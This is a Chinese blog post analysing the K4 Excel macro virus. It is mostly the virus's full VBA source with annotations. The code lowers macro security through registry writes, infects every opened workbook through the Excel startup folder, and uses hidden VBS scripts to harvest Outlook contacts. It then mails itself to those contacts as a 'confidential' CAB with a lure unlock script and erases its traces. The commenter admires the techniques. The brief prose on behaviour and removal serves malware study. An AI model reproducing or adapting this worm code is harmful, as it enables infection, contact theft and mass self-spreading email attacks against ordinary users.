带毒.xls文件在被激活时，会通过系列细腻的行为，在指定的时间里在后台收集Outlook里的用户地址，又在指定的时间里打包并把带毒文件通过Outlook发送到搜集到的邮件地址里，实现网络传播。
病毒有不少可以借鉴的地方，多处利用VBS代码进行文件操作，里面的代码写得不错，还用上了“正则表达式”，哇塞，偶一直想学啊。
据冒死测试，该宏病毒在Win7 64环境下无法发挥作用，连k4模块都不能写入到Excel启动目录。可能和Win7的安全性有关。如果本机没有安装Outlook，这个宏病毒显得非常无趣。
网上什么K4专杀工具，利用Excel.Application其它或OLE技术删除带毒模块的思路貌似徒劳。一旦调用OpenFile函数，即激活了病毒，无法根除。
关于这个病毒的查毒，目前还是通过更新杀毒软件应该去搞定吧。
手动也可以，得一个一个打开感染的.xls文件，删除Thisworkbook里的代码，最后一步是删除Excel启动目录里的k4.xls文件。但明显这是件痛苦的事。
如果分析有误，欢迎批评指正。
本文转自：http://netsecurity.51cto.com/art/201212/373192.htm
以ToDOLE模块中的代码，在虚拟机XP+Excel2003下跟踪并注释了关键代码：
'病毒行为主过程
Private Sub auto_open()
Application.DisplayAlerts = False
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
'删除.xls文件里的ThisWorkBook表单，以便写入带毒宏代码;
Call delete_this_wk
'复制带毒宏代码
Call copytoworkbook
'如果当前文件已经感染，则保存。
If Sheets(1).Name <> "Macro1" Then Movemacro4 ThisWorkbook
ThisWorkbook.Save
Application.ScreenUpdating = True
End If
End Sub
'以下过程向ThisWorkbook写入一段激活带毒代码；
Private Sub copytoworkbook()
Const DQUOTE = """"
With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
.InsertLines 1, "Public WithEvents xx As Application"
.InsertLines 2, "Private Sub Workbook_open()"
.InsertLines 3, "Set xx = Application"
.InsertLines 4, "On Error Resume Next"
.InsertLines 5, "Application.DisplayAlerts = False"
.InsertLines 6, "Call do_what"
.InsertLines 7, "End Sub"
.InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"
.InsertLines 9, "On Error Resume Next"
.InsertLines 10, "wb.VBProject.References.AddFromGuid _"
.InsertLines 11, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _"
.InsertLines 12, "Major:=5, Minor:=3"
.InsertLines 13, "Application.ScreenUpdating = False"
.InsertLines 14, "Application.DisplayAlerts = False"
.InsertLines 15, "copystart wb"
.InsertLines 16, "Application.ScreenUpdating = True"
.InsertLines 17, "End Sub"
End With
End Sub
'删除临时工作表过程
Private Sub delete_this_wk()
Dim VBProj As VBIDE.VBProject
Dim VBComp As VBIDE.VBComponent
Dim CodeMod As VBIDE.CodeModule
Set VBProj = ThisWorkbook.VBProject
Set VBComp = VBProj.VBComponents("ThisWorkbook")
Set CodeMod = VBComp.CodeModule
With CodeMod
.DeleteLines 1, .CountOfLines
End With
End Sub
'病毒的主要行为框架
Function do_what()
If ThisWorkbook.Path <> Application.StartupPath Then
'检测并当前打开xls文件时的状态，并初始化一些准备工作。
RestoreAfterOpen
'通过修改注册信任VB项，为下面的感染提供可能性。
Call OpenDoor
'把带毒模块写入Excel的自动启动项目，实现感染传播
Call Microsofthobby
'病毒的主体行为（大致是收集outlook的用户邮件列表并发送到指定邮箱里）
Call ActionJudge
End If
End Function
'把带毒模块'k4.xls'附加进每个打开的xls文件里。
Function copystart(ByVal wb As Workbook)
On Error Resume Next
Dim VBProj1 As VBIDE.VBProject
Dim VBProj2 As VBIDE.VBProject
Set VBProj1 = Workbooks("k4.xls").VBProject
Set VBProj2 = wb.VBProject
'如果已经感染过，就退出
If copymodule("ToDole", VBProj1, VBProj2, False) Then Exit Function
End Function
'把'k4.xls'带毒模块附加进每个打开的xls文件里。
Function copymodule(ModuleName As String, _
FromVBProject As VBIDE.VBProject, _
ToVBProject As VBIDE.VBProject, _
OverwriteExisting As Boolean) As Boolean
On Error Resume Next
Dim VBComp As VBIDE.VBComponent
Dim FName As String
Dim CompName As String
Dim S As String
Dim SlashPos As Long
Dim ExtPos As Long
Dim TempVBComp As VBIDE.VBComponent
If FromVBProject Is Nothing Then
copymodule = False
Exit Function
End If
If Trim(ModuleName) = vbNullString Then
copymodule = False
Exit Function
End If
If ToVBProject Is Nothing Then
copymodule = False
Exit Function
End If
If FromVBProject.Protection = vbext_pp_locked Then
copymodule = False
Exit Function
End If
If ToVBProject.Protection = vbext_pp_locked Then
copymodule = False
Exit Function
End If
On Error Resume Next
Set VBComp = FromVBProject.VBComponents(ModuleName)
If Err.Number <> 0 Then
copymodule = False
Exit Function
End If
FName = Environ("Temp") & "\" & ModuleName & ".bas"
If OverwriteExisting = True Then
If Dir(FName, vbNormal + vbHidden + vbSystem) <> vbNullString Then
Err.Clear
Kill FName
If Err.Number <> 0 Then
copymodule = False
Exit Function
End If
End If
With ToVBProject.VBComponents
.Remove .Item(ModuleName)
End With
Else
Err.Clear
Set VBComp = ToVBProject.VBComponents(ModuleName)
If Err.Number <> 0 Then
If Err.Number = 9 Then
Else
copymodule = False
Exit Function
End If
End If
End If
FromVBProject.VBComponents(ModuleName).Export FileName:=FName
SlashPos = InStrRev(FName, "\")
ExtPos = InStrRev(FName, ".")
CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1)
Set VBComp = Nothing
Set VBComp = ToVBProject.VBComponents(CompName)
If VBComp Is Nothing Then
ToVBProject.VBComponents.Import FileName:=FName
Else
If VBComp.Type = vbext_ct_Document Then
Set TempVBComp = ToVBProject.VBComponents.Import(FName)
With VBComp.CodeModule
.DeleteLines 1, .CountOfLines
S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines)
.InsertLines 1, S
End With
On Error GoTo 0
ToVBProject.VBComponents.Remove TempVBComp
End If
End If
Kill FName
copymodule = True
End Function
'在Excel的启动目录里保存带毒模块文件k4.xls，导致所有打开的.xls文件都自动附加上这个带毒模块。
Function Microsofthobby()
Dim myfile0 As String
Dim MyFile As String
On Error Resume Next
myfile0 = ThisWorkbook.FullName
MyFile = Application.StartupPath & "\k4.xls"
'如果文件已经存在，则先删除，再保存。
If WorkbookOpen("k4.xls") And ThisWorkbook.Path <> Application.StartupPath Then Workbooks("k4.xls").Close False
Shell Environ$("comspec") & " /c attrib -S -h """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
Shell Environ$("comspec") & " /c Del /F /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
Shell Environ$("comspec") & " /c RD /S /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
ThisWorkbook.IsAddin = True
ThisWorkbook.SaveCopyAs MyFile
ThisWorkbook.IsAddin = False
Application.ScreenUpdating = True
End If
End Function
'修改注册表，降低Excel的宏安全级别，让Excel接受所有VB项目的运行。
Function OpenDoor()
Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
Dim KValue1 As Variant, KValue2 As Variant
Dim VS As String
On Error Resume Next
VS = Application.Version
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"
RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"
KValue1 = 1
KValue2 = 1
Call WReg(RK1, KValue1, "REG_DWORD")
Call WReg(RK2, KValue2, "REG_DWORD")
Call WReg(RK3, KValue1, "REG_DWORD")
Call WReg(RK4, KValue2, "REG_DWORD")
End Function
'子函数：实现注册表的写入功能。
Sub WReg(strkey As String, Value As Variant, ValueType As String)
Dim oWshell
Set oWshell = CreateObject("WScript.Shell")
If ValueType = "" Then
oWshell.RegWrite strkey, Value
Else
oWshell.RegWrite strkey, Value, ValueType
End If
Set oWshell = Nothing
End Sub
'宏病毒自我复制的一个过程。创建一个隐藏的"Macro1"工作表，并写入一些内容，备用。
Private Sub Movemacro4(ByVal wb As Workbook)
On Error Resume Next
Dim sht As Object
wb.Sheets(1).Select
Sheets.Add Type:=xlExcel4MacroSheet
ActiveSheet.Name = "Macro1"
Range("A2").Select
ActiveCell.FormulaR1C1 = "=ERROR(FALSE)"
Range("A3").Select
ActiveCell.FormulaR1C1 = "=IF(ERROR.TYPE(RUN(""" & Application.UserName & """))=4)"
Range("A4").Select
ActiveCell.FormulaR1C1 = "=ALERT(""禁用宏，关闭 " & Chr(10) & Now & Chr(10) & "Please Enable Macro!"",3)"
Range("A5").Select
ActiveCell.FormulaR1C1 = "=FILE.CLOSE(FALSE)"
Range("A6").Select
ActiveCell.FormulaR1C1 = "=END.IF()"
Range("A7").Select
ActiveCell.FormulaR1C1 = "=RETURN()"
For Each sht In wb.Sheets
wb.Names.Add sht.Name & "!Auto_Activate", "=Macro1!$A$2", False
Next
wb.Excel4MacroSheets(1).Visible = xlSheetVeryHidden
End Sub
'尝试打开工作簿函数
Private Function WorkbookOpen(WorkBookName As String) As Boolean
WorkbookOpen = False
On Error GoTo WorkBookNotOpen
If Len(Application.Workbooks(WorkBookName).Name) > 0 Then
WorkbookOpen = True
Exit Function
End If
WorkBookNotOpen:
End Function
'病毒主体行为集中在此过程，是个通过收集和发送邮件的方式把带毒文件传播的过程。
Private Sub ActionJudge()
Const T1 As Date = "10:00:00"
Const T2 As Date = "11:00:00"
Const T3 As Date = "14:00:00"
Const T4 As Date = "15:00:00"
Dim SentTime As Date, WshShell
'通过强大的WScript.Shell对象进行操作。
Set WshShell = CreateObject("WScript.Shell")
'判断是安装有Outlook邮件程序，如果没有安装，病毒行为中止。
If Not InStr(UCase(WshShell.RegRead("HKEY_CLASSES_ROOT\mailto\shell\open\command\")), "OUTLOOK.EXE") > 0 Then Exit Sub
'判断当前时间，在早上11－12点时，则读取已经搜索好的地址文件
If Time >= T1 And Time <= T2 Or Time >= T3 And Time <= T4 Then
'读取已经收集好的邮件地址文件标志，如果不符合条件，则退出
If ReadOut("D:\Collected_Address:frag1.txt") = "1" Then
Exit Sub
'否则，将搜索里面的内容
Else
CreateFile "1", "D:\Collected_Address:frag1.txt"
search_in_OL
End If
'如果不在指定的时间段，则执行以下行为：
Else
'判断有没有安装OutLook，如果没有安装，则结束代码。
If Not if_outlook_open Then Exit Sub
'再判断一个特定时间段，
If Time > T2 And Time <= DateAdd("n", 10, T2) Or Time > T4 And Time <= DateAdd("n", 10, T4) Then
Exit Sub
Else
SentTime = DateAdd("n", -21, Now)
On Error GoTo timeError
SentTime = CDate(ReadOut("D:\Collected_Address:frag2.txt"))
timeError:
If Now < DateAdd("n", 20, SentTime) Or ReadOut("D:\Collected_Address\log.txt") = "" Then
Exit Sub
Else
'创建一个文件文件，保存导出的邮件地址文件
CreateFile "", "D:\Collected_Address:frag1.txt"
CreateFile Now, "D:\Collected_Address:frag2.txt"
'以邮件的形式将这些收集到的邮件地址打包并发送到指定的地址，病毒的主体行为目的在此！！
'即把带毒的vbs和xls文件打包好成cab文件，然后指发送到搜集到的Outlook里的用户列表地址中去，
'以此实现网络传播……
CreatCab_SendMail
End If
End If
End If
End Sub
'以下过程通过创建Wscript对象执行一段在后台搜索Outlook用户邮件地址列表的vbs脚本。
'奶奶的，写得不错，值得借鉴。
Private Sub search_in_OL()
Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, fs As Object, WshShell As Object
On Error Resume Next
'启动强大的scripting.filesystemobject对象搜索文件
Set fs = CreateObject("scripting.filesystemobject")
Set WshShell = CreateObject("WScript.Shell")
'创建E:\KK文件夹，临时保存等一下用到的 "<.xls文件名>_clear.vbs"
If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), " ", "_"), ".", "_")
AddVbsFile_clear = "E:\KK\" & AttName & "_clear.vbs"
i = FreeFile
'准备在该.vbs文件中写入代码。
'大概意思：激活当前Outlook到最前窗口，并发送一系列按键（未测试这些按键对Outlook操作了什么）。
Open AddVbsFile_clear For Output Access Write As #i
Print #i, "On error Resume Next"
Print #i, "Dim wsh, tle, T0, i"
Print #i, " T0 = Timer"
Print #i, " Set wsh=createobject(""" & "wscript.shell""" & ")"
Print #i, " tle = """ & "Microsoft Office Outlook""" & ""
Print #i, "For i = 1 To 1000"
Print #i, " If Timer - T0 > 60 Then Exit For"
Print #i, " Call Refresh()"
Print #i, " wscript.sleep 05"
Print #i, " wsh.sendKeys """ & "%a""" & ""
Print #i, " wscript.sleep 05"
Print #i, " wsh.sendKeys """ & "{TAB}{TAB}""" & ""
Print #i, " wscript.sleep 05"
Print #i, " wsh.sendKeys """ & "{Enter}""" & ""
Print #i, "Next"
Print #i, "Set wsh = Nothing"
Print #i, "wscript.quit"
Print #i, "Sub Refresh()"
Print #i, "Do Until wsh.AppActivate(CStr(tle)) = True"
Print #i, " If Timer - T0 > 60 Then Exit Sub"
Print #i, "Loop"
Print #i, " wscript.sleep 05"
Print #i, " wsh.SendKeys """ & "%{F4}""" & ""
Print #i, "End Sub"
Close (i)
'再生成一个"<.xls文件名>_Search.vbs"文件，并写入代码
'代码功能是在后台收集Outlook的好友邮件列表。看来作者对Outlook的用户列表文件内容研究很深入。
'奶奶的，居然还调用了“正则表达式”来提取邮件地址，真有两下子。
AddVbsFile_search = "E:\KK\" & AttName & "_Search.vbs"
i = FreeFile
Open AddVbsFile_search For Output Access Write As #i
Print #i, "On error Resume Next"
Print #i, "Const olFolderInbox = 6"
Print #i, "Dim conbinded_address,WshShell,sh,ts"
Print #i, "Set WshShell=WScript.CreateObject(""" & "WScript.Shell""" & ")"
Print #i, "Set objOutlook = CreateObject(""" & "Outlook.Application""" & ")"
Print #i, "Set objNamespace = objOutlook.GetNamespace(""" & "MAPI""" & ")"
Print #i, "Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox)"
Print #i, "Set TargetFolder = objFolder"
Print #i, "conbinded_address = """ & """" & ""
Print #i, "Set colItems = TargetFolder.Items"
Print #i, "wscript.sleep 300000"
Print #i, "WshSHell.Run (""" & "wscript.exe " & AddVbsFile_clear & """" & "), vbHide, False"
Print #i, "ts = Timer"
Print #i, "For Each objMessage in colItems"
Print #i, " If Timer - ts >55 then exit For"
Print #i, " conbinded_address = conbinded_address & valid_address(objMessage.Body)"
Print #i, "Next"
Print #i, "add_text conbinded_address, 8"
Print #i, "add_text all_non_same(ReadAllTextFile), 2"
Print #i, "WScript.Quit"
Print #i, ""
Print #i, "Private Function valid_address(source_data)"
Print #i, " Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr"
Print #i, " Dim regex, matchs, ss, arr()"
Print #i, " Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"
Print #i, " Set regex = CreateObject(""" & "VBSCRIPT.REGEXP""" & ")"
Print #i, ""
Print #i, " regex.Global = True"
'这里学习啦，提取邮件地址的正则！
Print #i, " regex.Pattern = """ & "\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*""" & ""
Print #i, " Set matchs = regex.Execute(source_data)"
Print #i, " ReDim trimed_arr(matchs.Count - 1)"
Print #i, " For i = Lbound(trimed_arr) To Ubound(trimed_arr)"
Print #i, " trimed_arr(i) = matchs.Item(i) & vbCrLf"
Print #i, " Next"
Print #i, ""
Print #i, " For i = LBound(trimed_arr) To UBound(trimed_arr)"
Print #i, " oDict(trimed_arr(i)) = """ & """" & ""
Print #i, " Next"
Print #i, ""
Print #i, " If oDict.Count > 0 Then"
Print #i, " nonsame_arr = oDict.keys"
Print #i, " For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
Print #i, " valid_address = valid_address & nonsame_arr(i)"
Print #i, " Next"
Print #i, " End If"
Print #i, " Set oDict = Nothing"
Print #i, "End Function"
Print #i, ""
'把搜索到的邮件地址字符串保存到以下新建的D:\Collected_Address\log.txt文件里去。
Print #i, "Private Sub add_text(inputed_string, input_frag)"
Print #i, " Dim objFSO, logfile, logtext, log_path, log_folder"
Print #i, " log_path = """ & "D:\Collected_Address""" & ""
Print #i, " Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
Print #i, " On Error resume next"
Print #i, " Set log_folder = objFSO.CreateFolder(log_path)"
Print #i, ""
Print #i, " If objFSO.FileExists(log_path & """ & "\log.txt""" & ") = 0 Then"
Print #i, " Set logfile = objFSO.CreateTextFile(log_path & """ & "\log.txt""" & ", True)"
Print #i, " End If"
Print #i, " Set log_folder = Nothing"
Print #i, " Set logfile = Nothing"
Print #i, ""
Print #i, " Select Case input_frag"
Print #i, " Case 8"
Print #i, " Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 8, True, -1)"
Print #i, " logtext.Write inputed_string"
Print #i, " logtext.Close"
Print #i, " Case 2"
Print #i, " Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 2, True, -1)"
Print #i, " logtext.Write inputed_string"
Print #i, " logtext.Close"
Print #i, " End Select"
Print #i, " set objFSO = nothing"
Print #i, "End Sub"
Print #i, ""
Print #i, "Private Function ReadAllTextFile()"
Print #i, " Dim objFSO, FileName, MyFile"
Print #i, " FileName = """ & "D:\Collected_Address\log.txt""" & ""
Print #i, " Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
Print #i, " Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)"
Print #i, " If MyFile.AtEndOfStream Then"
Print #i, " ReadAllTextFile = """ & """" & ""
Print #i, " Else"
Print #i, " ReadAllTextFile = MyFile.ReadAll"
Print #i, " End If"
Print #i, "set objFSO = nothing"
Print #i, "End Function"
Print #i, ""
Print #i, "Private Function all_non_same(source_data)"
Print #i, " Dim oDict, i, trimed_arr, nonsame_arr"
Print #i, " all_non_same = """ & """" & ""
Print #i, " Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"
Print #i, ""
Print #i, " trimed_arr = Split(source_data, vbCrLf)"
Print #i, ""
Print #i, " For i = LBound(trimed_arr) To UBound(trimed_arr)"
Print #i, " oDict(trimed_arr(i)) = """ & """" & ""
Print #i, " Next"
Print #i, ""
Print #i, " If oDict.Count > 0 Then"
Print #i, " nonsame_arr = oDict.keys"
Print #i, " For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
Print #i, " all_non_same = all_non_same & nonsame_arr(i) & vbCrLf"
Print #i, " Next"
Print #i, " End If"
Print #i, " Set oDict = Nothing"
Print #i, "End Function"
Close (i)
Application.WindowState = xlMaximized
'激活以上代码，当然是vbHide的形式
WshShell.Run ("wscript.exe " & AddVbsFile_search), vbHide, False
Set WshShell = Nothing
End Sub
'以下过程是把 带毒模块和一个vbs脚本文 件通过makecab命令打包保存到 "E:\SORCE\<文件名>.cab"文件里。
'NND，这个过程写得也相当巧妙，值得学习！
Private Sub CreatCab_SendMail()
Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, Address_list As String
Dim fs As Object, WshShell As Object
Address_list = get_ten_address
Set WshShell = CreateObject("WScript.Shell")
Set fs = CreateObject("scripting.filesystemobject")
If fs.Folderexists("E:\SORCE") = False Then fs.CreateFolder "E:\SORCE"
AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), " ", "_"), ".", "_")
mail_sub = "*" & AttName & "*Message*"
AddVbsFile = "E:\sorce\" & AttName & "_Key.vbs"
i = FreeFile
Open AddVbsFile For Output Access Write As #i
Print #i, "Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route"
Print #i, "On error Resume Next"
Print #i, "Set sh=WScript.CreateObject(""" & "shell.application""" & ")"
Print #i, "sh.MinimizeAll"
Print #i, "Set sh = Nothing"
Print #i, "Set Fso = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
Print #i, "Set WshShell = WScript.CreateObject(""" & "WScript.Shell""" & ")"
Print #i, "If Fso.Folderexists(""" & "E:\KK""" & ") = False Then Fso.CreateFolder """ & "E:\KK"""
Print #i, "Fso.CopyFile _"
Print #i, "WshShell.CurrentDirectory & """ & "\" & AttName & "*.CAB""" & "," & " " & """E:\KK\""" & ", True"
Print #i, "For Each Atta_xls In ListDir(""" & "E:\KK""" & ")"
Print #i, " WshShell.Run """ & "expand """ & " & Atta_xls & """ & " -F:" & AttName & ".xls E:\KK""" & ", 0, true"
Print #i, "Next"
Print #i, "If Fso.FileExists(""" & "E:\KK\" & AttName & ".xls""" & ") = 0 then"
Print #i, " route = WshShell.CurrentDirectory & """ & "\" & AttName & ".xls"""
Print #i, " if Fso.FileExists(WshShell.CurrentDirectory & """ & "\" & AttName & ".xls""" & ")=0 then"
Print #i, " route = InputBox(""" & "Warning! """ & " & Chr(10) & """ & "You are going to open a confidential file.""" & "& Chr(10) _"
Print #i, " & """ & "Please input the complete file path.""" & " & Chr(10) & """ & "ex. C:\parth\confidential_file.xls""" & ", _"
Print #i, " """ & "Open a File""" & " , """ & "Please Input the Complete File Path""" & ", 10000, 8500)"
Print #i, " End if"
Print #i, "else"
Print #i, " route = """ & "E:\KK\" & AttName & ".xls"""
Print #i, "End If"
Print #i, " set oexcel=createobject(""" & "excel.application""" & ")"
Print #i, " set owb=oexcel.workbooks.open(route)"
Print #i, " oExcel.Visible = True"
Print #i, "Set oExcel = Nothing"
Print #i, "Set oWb = Nothing"
Print #i, "Set WshShell = Nothing"
Print #i, "Set Fso = Nothing"
Print #i, "WScript.Quit"
Print #i, "Private Function ListDir (ByVal Path)"
Print #i, " Dim Filter, a, n, Folder, Files, File"
Print #i, " ReDim a(10)"
Print #i, " n = 0"
Print #i, " Set Folder = fso.GetFolder(Path)"
Print #i, " Set Files = Folder.Files"
Print #i, " For Each File In Files"
Print #i, " If left(File.Name," & Len(AttName) & ") = """ & AttName & """ and right(File.Name,3) = """ & "CAB""" & " Then"
Print #i, " If n > UBound(a) Then ReDim Preserve a(n*2)"
Print #i, " a(n) = File.Path"
Print #i, " n = n + 1"
Print #i, " End If"
Print #i, " Next"
Print #i, " ReDim Preserve a(n-1)"
Print #i, " ListDir = a"
Print #i, "End Function"
Close (i)
AddListFile = ThisWorkbook.Path & "\TEST.txt"
i = FreeFile
Open AddListFile For Output Access Write As #i
Print #i, "E:\sorce\" & AttName & "_Key.vbs"
Print #i, "E:\sorce\" & AttName & ".xls"
Close (i)
Application.ScreenUpdating = False
RestoreBeforeSend
ThisWorkbook.SaveCopyAs "E:\sorce\" & AttName & ".xls"
RestoreAfterOpen
c4$ = CurDir()
ChDrive Left(ThisWorkbook.Path, 3) '"C:\"
ChDir ThisWorkbook.Path
'隐藏打包带病文件
WshShell.Run Environ$("comspec") & " /c makecab /F """ & ThisWorkbook.Path & "\TEST.TXT""" & " /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../" & AttName & ".CAB", vbHide, False
Do Until fs.FileExists(ThisWorkbook.Path & "\TEST.txt") _
And fs.FileExists(ThisWorkbook.Path & "\setup.rpt") And fs.FileExists(ThisWorkbook.Path & "\setup.inf") _
And fs.FileExists(ThisWorkbook.Path & "\" & AttName & ".CAB")
DoEvents
Loop
WshShell.Run Environ$("comspec") & " /c RD /S /Q """ & ThisWorkbook.Path & "\disk1""", vbHide, False
'俗话说，偷吃要抹嘴啊~，删除那些临时文件。
WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\TEST.txt""", vbHide, False
WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.rpt""", vbHide, False
WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.inf""", vbHide, False
WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\sorce", vbHide, False
If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
WshShell.Run Environ$("comspec") & " /c MOVE /Y " & AttName & ".CAB E:\KK""", vbHide, False
ChDir c4$
Call Massive_SendMail(Address_list, AttName, "Dear all," & vbCrLf & AttName & vbCrLf & "FYI", _
"", "E:\KK\" & AttName & ".CAB")
WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\KK", vbHide, False
Set WshShell = Nothing
Application.ScreenUpdating = True
End Sub
'群发邮件过程:这个过程太有趣了，如果真的被运用了，你一定会被惊呆！！！
'居然是通过激活当前正在运行的Outlook，然后模拟按键进行群发邮件，这个过程让你感到：你被远程控制了！！
Private Sub Massive_SendMail(Email_Address$, Subject$, Body$, CC_email_add$, Attachment$)
Dim objOL As Object
Dim itmNewMail As Object
If Not if_outlook_open Then Exit Sub
Set objOL = CreateObject("Outlook.Application")
Set itmNewMail = objOL.CreateItem(olMailItem)
With itmNewMail
.Subject = Subject
.Body = Body
.To = Email_Address
.CC = CC_email_add
.Attachments.Add Attachment
.DeleteAfterSubmit = True
End With
On Error GoTo continue
SendEmail:
itmNewMail.display
Debug.Print "setforth "
DoEvents
DoEvents
DoEvents
SendKeys "%s", Wait:=True
DoEvents
GoTo SendEmail
continue:
Set objOL = Nothing
Set itmNewMail = Nothing
End Sub
'以下函数通过读取进程列表，判断是否有Outlook运行。
Private Function if_outlook_open() As Boolean
Set objs = GetObject("WinMgmts:").InstancesOf("Win32_Process")
if_outlook_open = False
For Each obj In objs
If InStr(obj.Description, "OUTLOOK") > 0 Then
if_outlook_open = True
Exit For
End If
Next
End Function
'生成一随机数，不感兴趣。
Private Function RadomNine(length As Integer) As String
Dim jj As Integer, k As Integer, i As Integer
RadomNine = ""
If length <= 0 Then Exit Function
If length <= 10 Then
For i = 1 To length
RadomNine = RadomNine & "$$" & i
Next i
Exit Function
End If
jj = length / 10
Randomize
For i = 1 To 10
k = Int(Rnd * (jj * i - m - 1)) + 1
If m + k <> 1 Then RadomNine = RadomNine & "$$" & m + k
m = m + k
Next
End Function
'从D:\Collected_Address\log.txt文件中读取已经收集好的邮件地址，用于群发。
Private Function get_ten_address() As String
Dim singleAddress_arr, krr, i As Integer
get_ten_address = ""
singleAddress_arr = Split(ReadOut("D:\Collected_Address\log.txt"), vbCrLf)
krr = Split(RadomNine(UBound(singleAddress_arr) - LBound(singleAddress_arr) + 1), "$$")
For i = 1 To UBound(krr)
get_ten_address = get_ten_address & ";" & singleAddress_arr(CInt(krr(i)) - 1)
Next i
End Function
'调用FSO对象读取指定文件的属性
Private Function ReadOut(FullPath) As String
On Error Resume Next
Dim Fso, FileText
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
Set FileText = Fso.OpenTextFile(FullPath, 1, False, -1)
ReadOut = FileText.ReadAll
FileText.Close
End Function
'自定义一个创建文件过程，还带有标志呢，备用。
Private Sub CreateFile(FragMark, pathf)
On Error Resume Next
Dim Fso, FileText
'这是干嘛呢，"scRiPTinG.fiLEsysTeMoBjEcT"写得乱七八糟的，不就是Script.FileSystemObject对象嘛。
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
If Fso.Folderexists(Left(pathf, Len(pathf) - 10)) = False Then Fso.CreateFolder Left(pathf, Len(pathf) - 10)
If Fso.FileExists(pathf) Then
Set FileText = Fso.OpenTextFile(pathf, 2, False, -1)
FileText.Write FragMark
FileText.Close
Else
Set FileText = Fso.OpenTextFile(pathf, 2, True, -1)
FileText.Write FragMark
FileText.Close
End If
End Sub
Private Sub RestoreBeforeSend()
Dim aa As Name, i_row As Integer, i_col As Integer
Dim sht As Object
Application.ScreenUpdating = False
Application.DisplayAlerts = False
On Error Resume Next
'以下清除在感染前写入的一些临时内容，出于隐蔽。
'历遍当前工作簿，如果隐藏代码段 Auto_Activate 的话，删除！！不留痕迹。
For Each aa In ThisWorkbook.Names
aa.Visible = True
If Split(aa.Name, "!")(1) = "Auto_Activate" Then aa.Delete
Next
'历遍当前工作表，如果有一个叫"Macro1"的话，删除！！不留痕迹。
For Each sht In ThisWorkbook.Sheets
If sht.Name = "Macro1" Then
sht.Visible = xlSheetVisible
sht.Delete
End If
Next
Sheets(1).Select
Sheets.Add
For Each sht In ThisWorkbook.Sheets
If sht.Name <> Sheets(1).Name Then sht.Visible = xlSheetVeryHidden
Next
'以下在第2个工作表里的随机单元格里写入一些内容：
'提示新用户去执行vbs文件来解琐文件，目的是忽悠用户来激活宏病毒。
i_row = Int((15 * Rnd) + 1)
i_col = Int((6 * Rnd) + 1)
Cells(i_row, i_col) = "** CONFIDENTIAL! ** "
Cells(i_row + 2, i_col) = "Use " & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & "_key.vbs" & Chr(34) & " To Open This File."
Cells(i_row + 3, i_col) = "请用 " & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & "_key.vbs" & Chr(34) & " 解锁此文件."
With Range(Cells(i_row, i_col), Cells(i_row + 2, i_col))
.Font.Bold = True
.Font.ColorIndex = 3
End With
Application.ScreenUpdating = True
End Sub
'删除当前表中"A1:F15"区域所有含有带"CONFIDENTIAL"字样的内容。
Private Function RestoreAfterOpen()
Dim sht, del_sht, rng, del_frag As Boolean
On Error Resume Next
del_sht = ActiveSheet.Name
Application.ScreenUpdating = False
Application.DisplayAlerts = False
For Each sht In ThisWorkbook.Sheets
If sht.Name <> "Macro1" Then sht.Visible = xlSheetVisible
Next
For Each rng In Sheets(del_sht).Range("A1:F15")
If InStr(rng.Value, "CONFIDENTIAL") > 0 Then
del_frag = True
Exit For
End If
Next
If del_frag = True Then Sheets(del_sht).Delete
Application.ScreenUpdating = True
End Function
===================
小结：
